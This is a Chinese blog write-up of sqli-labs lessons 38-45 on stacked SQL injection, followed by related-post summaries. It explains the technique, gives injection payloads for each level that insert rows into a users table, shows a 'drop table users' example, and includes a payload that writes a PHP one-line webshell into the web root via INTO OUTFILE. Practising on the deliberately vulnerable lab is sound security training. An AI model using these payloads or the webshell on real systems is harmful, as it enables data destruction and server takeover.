从page3也就是less 38开始进入了堆叠注入(stacked injection)

stacked injection:

简单来说就是进行SQL注入时注入了多条语句。因为之前我们都是只进行过注入一条语句完成attack,

而现在开始一般用;来进行多条语句的注入。在SQL中,分号(;)是用来表示一条sql语句的结束。

我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union

或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

举个例子: select * from users where id = 1 ; drop table users;

第一条语句查询信息,第二条删除users表

(注意oracle数据库无法进行堆叠注入,当在其中输入两条或更多语句时直接报错无效字符。)

less 38

观察源码可以看到数据库执行的select语句为:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

构造payload:

?id=1' ; insert into users(id,username,password) values ('100',‘less38’,‘zzw’) --+

查看数据库:

less 39

观察源码: 是数字型注入

构造payload:

?id=1;insert into users(id,username,password) values('39','less39','39')#

查看数据库:(截图一直转圈...就不上传了)

less 40

本关的sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1

闭合的时候注意用 ') 闭合前面的 ('  ,之后后面的 ‘)用 --+注释掉即可 和前两关步骤一样

payload:

?id=1'); insert into users(id,username,password) values ('40','less40','40') --+

less 41

本关和less 39闭合语句思路是一样的,都是数字型注入,只是没有错误回显了

payload:

?id=1; insert into users(id,username,password) values ('41','less41','41')

less 42

本关变为了post型注入,且观察源代码发现在username处用到了mysqli_real_escape_string函数

进行了过滤,但是password没有进行过滤,切换注入点为password即可。

username随便输入,在password出输入构造的payload

payload:

1'; insert into users(id,username,password) values ('42','less42','42');#

尝试用插入的用户名和密码进行登录

less 43

与less 42基本一致,也是在password处构造并输入payload

只是此处闭合语句用 ') 闭合前面的 (' 后面就用注释符注释掉即可

用insert into 插入我们想要的username 和 password

payload:

1'); insert into users(id,username,password) values ('43','less43','43');#

less 44

本关与less 43基本一致,区别在于没有回显信息,password处的包裹为 '

password处构造payload:

1'; insert into users(id,username,password) values ('44','less44','44');#

less 45

与less 42基本一致 区别在于没有错误信息回显,password处被('')包裹

还是在password处构造payload:

1');insert into users(id,username,password) values ('45','less45','45') #

此处介绍另外一种方法,利用一句话木马和中国菜刀

1.需要有写权限

2.需要一句话木马

3.select xxx into outfile xxx

4.绝对路径

以less45为例,构造payload:

1');select '<?php @eval($_post["users"]);?>' into outfile 'C:\\phpstudy1\\PHPTutorial\\

WWW\\sqli-labs-master\\Less-45\\1.php' #

(测试有误  不定期更新)

sqli-labs lesson 38-45的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  6. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. Nginx:Nginx动静分离

    1.什么是动静分离 将动态请求和静态请求区分访问 2.为什么要做动静分离 tomcat本身处理静态效率不高,还会带来资源开销.所以使用动静分离,将静态由Nginx处理, 动态由PHP处理或Tomcat ...

  2. XCTF crypto 不仅仅是Mors

    一. 题目暗示摩斯码,打开文件发现里面有反斜杠的.不管它直接拿来解密 二. 发现一句话是句英文,还有其他的加密方式,后面那串只有两种字符A和B,手抓饼A套餐,b套餐 培根加密,拿来解密后,得到flag

  3. Docker部署Mysq集群

    1.PXC(Percona XtraDB Cluster) 速度慢 但能保证强一致性 适用于保存价值较高的数据 数据同步是双向的 在任一节点写入数据 都会同步到其他所有节点 在任何节点上都能同时读写 ...

  4. KeepAlive详解(转)

    一.什么是KeepAlive? 首先,我们要明确我们谈的是TCP的 KeepAlive 还是HTTP的 Keep-Alive.TCP的KeepAlive和HTTP的Keep-Alive是完全不同的概念 ...

  5. Linux相关网络命令大全 网络接口 域名分析

    Linux网络设置一.查看网络接口信息ifconfig① 查看所有活动的网络接口信息② 查看指定网络接口信息补充二.查看主机名称hostname① hostname命令② 永久设置主机名三.查看路由表 ...

  6. SpringBoot缓存管理(三) 自定义Redis缓存序列化机制

    前言 在上一篇文章中,我们完成了SpringBoot整合Redis进行数据缓存管理的工作,但缓存管理的实体类数据使用的是JDK序列化方式(如下图所示),不便于使用可视化管理工具进行查看和管理. 接下来 ...

  7. C语言:读写TXT

    fopen() 改为: if((fp=fopen("1s.txt","w+"))==NULL) fputc(p,fp); 改为:fprintf(fp," ...

  8. python adb 关闭拼多多

    def gbpdd(sjh): aaka="adb -s {0} shell am force-stop com.xunmeng.pinduoduo".format(sjh) aa ...

  9. Unittest方法 -- 测试分离

    一.下面是it.py 脚本,把浏览器前置和后置条件分离了"""套件公用测试类可进行分离"""import unittestfrom sele ...

  10. centos7下安装mycat中间件 笔记

    1. 下载 # wget http://dl.mycat.org.cn/1.6.7.4/Mycat-server-1.6.7.4-release/Mycat-server-1.6.7.4-releas ...